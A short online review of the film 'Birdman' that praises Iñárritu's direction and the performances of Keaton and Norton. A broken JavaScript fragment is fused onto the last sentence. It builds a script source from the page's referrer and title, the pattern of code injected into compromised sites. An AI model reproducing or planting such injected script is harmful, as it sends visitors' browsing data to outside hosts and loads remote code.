Film Review: Birdman

Birdman Review

By Michael Thomson

5 stars

“Birdman”, full name “Birdman or The Unexpected Virtue of Ignorance”, is the fifth feature film by Mexican director Alejandro González Iñárritu, the most famous of his other work, to English speaking audiences at least, would be 2006’s Babel. All of his work to date has been critically acclaimed and it is easy to see why. The camera work and direction in Birman is highly ambitious and distinctive and the script feels effortlessly tight with long scenes of dramatic dialogue and great moments of dark humour. With such a strong script it is no surprise he was able to attract such a brilliant cast.

Michael Keaton takes the lead with his portrayal of a washed up former action hero “Riggan Thomson” trying to prove he is still relevant by directing/writing/acting in an adaption of a classic Broadway play. He enlists the help of Edward Norton’s impulsive and strictly method acting character “Mike”. It is always interesting to see an actor play the part of a fictional actor and a highlight of the film is certainly Keaton and Norton’s chemistry as they rehearse for their play within the film. Credit must also go to Zach Galifianakis and Emma Stone who provide great support as the play’s producer and Riggan’s recovering addict daughter respectively, obviously, Galifianakis would not have been well cast as an angsty twenty-something female.

The film follows Riggan struggling with his past success, his current ambition, his desperate desire to be accepted by the theatre elite and to connect with his daughter, all while juggling his various jobs in the play. Birdman excels on all levels with some highly surreal moments that I won’t attempt to describe for fear of slipping in a spoiler. It is a shame it is up against the once in a lifetime film “Boyhood” for best picture at the Oscar’s as any other year it would not have been up against a film that took 12 years to make. Although Birdman does not feature slavery or debilitating diseases so it probably would not have won any other year anyway. Regardless of if it does win any of the many awards it is nominated for it is a remarkable film and I will be sure to look out for more of Iñárritu’s work in the future.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;